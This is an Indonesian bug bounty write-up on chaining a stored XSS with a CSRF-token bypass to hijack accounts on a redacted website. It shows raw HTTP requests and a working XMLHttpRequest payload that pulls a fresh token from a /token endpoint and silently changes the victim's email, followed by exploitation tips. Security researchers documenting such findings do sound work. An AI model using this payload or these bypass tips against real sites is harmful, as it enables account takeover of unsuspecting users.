XSS to Account Takeover - Bypassing CSRF Header Protection and HTTPOnly Cookie
Ketika melakukan Bug Hunting dan menemukan bug Stored XSS, biasanya khayalan akan mendapat bounty yg cukup besar sudah berputar-putar di kepala. Namun terkadang khayalan tersebut pudar ketika kita mencoba memasukan document.cookie
ke dalam payload XSS dan yang muncul adalah:
Popup alert yang diharapkan menampilkan cookie
dari website target namun malah tidak menampilkan apapun karena cookie pada website tersebut diset HTTPOnly
sehingga tidak bisa diakses oleh javascript.
Bila menemukan hal seperti ini, biasanya pilihan selanjutnya adalah dengan membuat request menggunakan XHR untuk ‘memaksa’ user melakukan aksi sensitif tanpa sepengetahuan mereka, sebagai contoh, merubah password atau mengganti alamat email.
Dan ketika akan melakukan hal tersebut, Request yang dikirim seperti berikut:
POST /user/changeEmail HTTP/1.1
Host: redacted.com
Connection: close
Content-Length: 84
Sec-Fetch-Mode: cors
csrf-token: 3005c34f-4cea-4470-afe8-045f1c14a2af
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36
Content-Type: application/json; charset=UTF-8
Accept: */*
Sec-Fetch-Site: same-origin
Accept-Encoding: gzip, deflate
Accept-Language: id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7,eu;q=0.6
Cookie: JSESSIONID=_zo6sV5qYkxhYwSCULJ4KRzOqP3G_-xVma2rKVPo; csrf-token=3005c34f-4cea-4470-afe8-045f1c14a2af;
{"email":"[email protected]"}
Terlihat pada request header terdapat csrf
token yang bertujuan untuk mencegah serangan CSRF. Maka tambah suram lah proses exploitasinya, semakin sulit karena ada CSRF header yang selalu berubah setiap kali melakukan request.
Bila dilihat dengan seksama, pada request header dan cookie memiliki csrf-token
dengan value yang sama. Maka saya mencoba untuk merubah kedua nilai tersebut menjadi nilai yang lain, namun tetap sama keduanya.
Request:
POST /user/changeEmail HTTP/1.1
Host: redacted.com
Connection: close
Content-Length: 84
Sec-Fetch-Mode: cors
csrf-token: asu
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36
Content-Type: application/json; charset=UTF-8
Accept: */*
Sec-Fetch-Site: same-origin
Accept-Encoding: gzip, deflate
Accept-Language: id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7,eu;q=0.6
Cookie: JSESSIONID=_zo6sV5qYkxhYwSCULJ4KRzOqP3G_-xVma2rKVPo; csrf-token=asu;
{"email":"[email protected]"}
Response:
{"changingEmailCompleted":true}
Boom! Ternyata email berhasil dirubah menggunakan cara tersebut. Ini artinya kita dapat memanipulasi csrf-token
pada header menjadi apapun asalkan nilainya sama dengan csrf-token
pada cookie.
Karena kita tidak dapat mengakses cookie, maka saya mencoba menambahkan cookie baru dengan menggunakan script berikut:
<script>document.cookie="csrf-token=asu";</script>
Ketika dicoba melakukan request, response nya seperti berikut:
Loh kok muncul pesan Possible CSRF attack detected!
?
Ketika dilakukan pengecekan ulang, ternyata requestnya menjadi seperti berikut:
POST /user/changeEmail HTTP/1.1
Host: redacted.com
Connection: close
Content-Length: 84
Sec-Fetch-Mode: cors
csrf-token: asu
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36
Content-Type: application/json; charset=UTF-8
Accept: */*
Sec-Fetch-Site: same-origin
Accept-Encoding: gzip, deflate
Accept-Language: id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7,eu;q=0.6
Cookie: csrf-token=asu; JSESSIONID=_zo6sV5qYkxhYwSCULJ4KRzOqP3G_-xVma2rKVPo; csrf-token=0b84028f-35de-4bd6-bf72-a0a776a7b3f2;
{"email":"[email protected]"}
Terlihat ada 2 buat cookie bernama csrf-token
, sepertinya ini yang menjadi penyebab error tadi.
Karena kita tidak bila melakukan apa-apa pada cookie yang ada, maka yang dapat kita manfaatkan disini hanyalah csrf-token
pada request header. Namun tentu saja kita harus mendapatkan nilai yang valid.
Website ini dibangun menggunakan AngularJS, tidak ada nilai csrf-token
yang tersimpan pada kode HTMLnya, dan nilai dari cookie selalu berubah-ubah setiap request.
Wait, selalu berubah-ubah setiap request
? Artinya ada saatnya dimana server mengirimkan cookie baru ke browser. Maka saya pun mencoba mencari kapan momen tersebut terjadi.
Lalu ditemukan adanya request di background ke endpoint /token
seperti berikut:
Request:
POST /token HTTP/1.1
Host: redacted.com
Connection: close
Content-Length: 84
Sec-Fetch-Mode: cors
csrf-token: 0b84028f-35de-4bd6-bf72-a0a776a7b3f2
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36
Content-Type: application/json; charset=UTF-8
Accept: */*
Sec-Fetch-Site: same-origin
Accept-Encoding: gzip, deflate
Accept-Language: id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7,eu;q=0.6
Cookie: JSESSIONID=_zo6sV5qYkxhYwSCULJ4KRzOqP3G_-xVma2rKVPo; csrf-token=0b84028f-35de-4bd6-bf72-a0a776a7b3f2;
Response:
HTTP/1.1 200 OK
Content-Type: application/json;charset=UTF-8
Connection: close
Date: Fri, 04 Oct 2019 15:08:38 GMT
Server: nginx
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: no-cache, no-store, must-revalidate
Set-Cookie: csrf-token=725d97de-550d-4644-9579-d4b3e1209ded; path=/; secure; HttpOnly
X-XSS-Protection: 1; mode=block
Pragma: no-cache
csrf-token: 725d97de-550d-4644-9579-d4b3e1209ded
Content-Security-Policy: frame-ancestors 'self'
X-Content-Type-Options: nosniff
[...]
Terlihat bahwa ketika melakukan request ke endpoint /token
, server meresponse dengan memberikan cookie csrf-token
baru. Maka kita dapat memanfaatkan request ini untuk mengambil csrf-token
tersebut, dengan menggunakan script seperti berikut:
var xhr = new XMLHttpRequest();
var method = 'GET';
var url = 'https://redacted.com/token';
xhr.open(method,url,true);
xhr.send(null);
xhr.onreadystatechange = function()
{
var token = xhr.getResponseHeader('csrf-token');
alert(token);
}
Dan CSRF Token pun berhasil diperoleh!
Terakhir, tinggal menggabungkannya dengan request untuk change email tadi.
var xhr = new XMLHttpRequest();
var method = 'GET';
var url = 'https://redacted.com/token';
xhr.open(method,url,true);
xhr.send(null);
xhr.onreadystatechange = function()
{
var token = xhr.getResponseHeader('csrf-token'); // ngambil token dari response header
xhr.open("POST","https://redacted.com/user/changeEmail", true);
xhr.withCredentials="true";
xhr.setRequestHeader("csrf-token", token);
xhr.setRequestHeader("Content-type", "application/json; charset=UTF-8");
xhr.send('{"email":"[email protected]"});
}
alert('Ups, You\'re pwned!');
Dan alamat email pun berhasil dirubah :))
Kesimpulan
- Ketika menemukan Stored XSS namun tidak bisa memperoleh cookie, jangan langsung laporkan karena besar kemungkinan severity akan menurun
- Cobalah lakukan chaining dengan bug lain, CSRF misalnya untuk melakukan aksi sensitif
- Ketika menemukan CSRF Protection, cobalah untuk menghapusnya atau merubah nilainya menjadi
null
, terkadang hal ajaib tersebut bisa berhasil - Carilah endpoint lain yang sekiranya dapat dimanfaatkan untuk memperolah CSRF Token yang valid